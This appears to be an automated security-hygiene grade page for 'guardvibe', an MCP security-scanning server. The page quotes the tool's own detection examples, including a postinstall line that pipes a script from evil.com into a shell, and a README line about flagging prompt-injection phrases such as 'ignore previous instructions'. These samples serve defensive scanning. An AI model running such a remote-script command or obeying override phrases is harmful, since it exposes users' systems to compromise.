MCP, MCP server
guardvibe
Security infrastructure your AI can't be. No matter how good your coding agent gets, it can't know the CVE published after its training cutoff, it can't deterministically guarantee the same check every run, it can't hold your whole repo in context, and it can't objectivel
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT PERMISSION_SHELL_UNDECLARED AGENT_IGNORE_INSTRUCTIONS
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
src/data/rules/supply-chain.ts, line 219
wnload and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe - no remote execution in in - PERMISSION_SHELL_UNDECLARED Medium
Runs shell commands that the manifest or description does not mention.
src/data/rules/core.ts, line 84
awn() with array arguments. Python: use subprocess.run([...]) with list arguments, never shell - AGENT_IGNORE_INSTRUCTIONS Medium
Text tells the agent to ignore earlier instructions.
README.md, line 134
- **OWASP MCP Top 10 alignment** - `VG1068` flags MCP / AI tool definitions whose `description`, `instructions`, or `systemPrompt` fields carry prompt-injection markers (`ignore pr
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
requests shell access. No manifest field names shell or command execution.
PERMISSION_SHELL_UNDECLARED
src/data/rules/core.ts, line 84
awn() with array arguments. Python: use subprocess.run([...]) with list arguments, never shell
src/data/rules/go.ts, line 28
fixCode: "// Validate input, use allowlist\ncmd := exec.Command(\"ls\", \"-la\", safeDir)",
src/data/rules/cve-versions.ts, line 2127
"`claude-code-templates --studio` starts an Express server on port 3444 that listens on all interfaces, answers every origin with Access-Control-Allow-Origin: *, and has no authent
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
src/data/rules/supply-chain.ts, line 219
wnload and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe - no remote execution in in
package.json, line 33
prepare
Network
Concern
can reach www.cisa.gov. The description does not name that host. can reach a host that is not written as a fixed address. can reach registry.npmjs.org. The description does not name that host. can reach api.example.com. The description does not name that host. can reach .... The description does not name that host. can reach api.npmjs.org. The description does not name that host. can reach api.anthropic.com. The description does not name that host. can reach api.openai.com. The description does
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST NETWORK_NAMED_HOST
scripts/intel-check.mjs, line 40
const res = await fetch("https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", {
scripts/intel-check.mjs, line 94
const res = await fetch(url, { headers });
scripts/intel-check.mjs, line 142
const res = await fetch(`https://registry.npmjs.org/${name.replace("/", "%2f")}`, {
Show more
src/cli/init.ts, line 75
- Never pass user-controlled URLs to fetch() without allowlist validation
src/data/framework-guides.ts, line 140
const res = await fetch(url, {
src/data/framework-guides.ts, line 451
const res = await fetch('/api/data', {
src/data/rules/ai-security.ts, line 95
ror("Blocked host");\nconst res = await fetch(parsed.toString());',
src/data/rules/ai-security.ts, line 206
t before LLM context\nconst raw = await fetch(url).then(r => r.text());\nconst sanitiz
src/data/rules/dockerfile.ts, line 92
'HEALTHCHECK --interval=30s --timeout=3s --retries=3 \\\n CMD curl -f http://localhost:3000/health || exit 1\n\nCMD ["node", "server.js"]',
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
scripts/intel-check.mjs, line 90
if (process.env.GITHUB_TOKEN) headers.Authorization = `Bearer ${process.env.GITHUB_TOKEN}`;
src/index.ts, line 289
ripe, OpenAI, GitHub, Supabase), exposed .env files, and missing .gitignore coverage.
src/index.ts, line 445
n config files (next.config, middleware, .env, vercel.json) for cross-file security g
Show more
src/index.ts, line 858
, credential exposure in shell profiles, .env file leaks, and environment variable sn
src/index.ts, line 861
scope: z.enum(["project", "host", "full"]).default("project").describe("Scan scope: project (.env files only), host (+ shell profiles, global configs), full (+ home dir)"),
src/index.ts, line 876
s application config files (next.config, .env, headers). Use scope=project (default)
src/index.ts, line 879
lt, .claude.json + .cursor/ + .vscode/ + .env), host (+ shell profiles + global MCP c
src/cli/deep-scan.ts, line 58
if (!process.env.ANTHROPIC_API_KEY && !process.env.OPENAI_API_KEY) {
src/cli/remediation.ts, line 17
{ pattern: /\.env(\.\w+)?$/i, host: "Env" },
src/cli/remediation.ts, line 35
Env: "Remove the `ANTHROPIC_BASE_URL=...` line from the .env file, or add the URL to `trustedBaseUrls` in `.guardviberc`.",
src/data/framework-guides.ts, line 105
secret: process.env.SESSION_SECRET,
src/data/framework-guides.ts, line 141
headers: { Authorization: process.env.SECRET_KEY }
src/data/framework-guides.ts, line 322
process.env.JWT_SECRET,
src/data/framework-guides.ts, line 326
const payload = jwt.verify(token, process.env.JWT_SECRET);
src/data/framework-guides.ts, line 661
app.use('/api/*', bearerAuth({ token: process.env.API_TOKEN! }));
src/data/framework-guides.ts, line 723
const supabase = createClient(url, process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!);
Agent instructions
Serious
instructions tell the agent to ignore earlier instructions.
AGENT_IGNORE_INSTRUCTIONS
README.md, line 134
- **OWASP MCP Top 10 alignment** - `VG1068` flags MCP / AI tool definitions whose `description`, `instructions`, or `systemPrompt` fields carry prompt-injection markers (`ignore pr
Obfuscation
Note
a file was over the read cap and was not fully read.
OBFUSCATION_FILE_OVER_READ_CAP
src/data/rules/cve-versions.ts, line 1
import type { SecurityRule } from "./types.js";
tests/rules/cve-versions.test.ts, line 1
import { describe, it } from "node:test";
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 17249c39bef9. requests shell access. No manifest field names shell or command execution. install fetches a script from the network. can reach www.cisa.gov. The description does not name that host. can reach a host that is not written as a fixed address. can reach registry.npmjs.org. The description does not name that host. can reach api.example.com. The description does not name that host. can reach .... The description does not name that host. can reach api.npmjs.org. The description does not name that host. can reach api.anthropic.com. The description does not name that host. can reach api.openai.com. The description does reads a credential or environ
Date and source
Date checked:
github.com
Commit graded: 17249c39bef982f5f08e61bfa1afd6dfabd84332
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.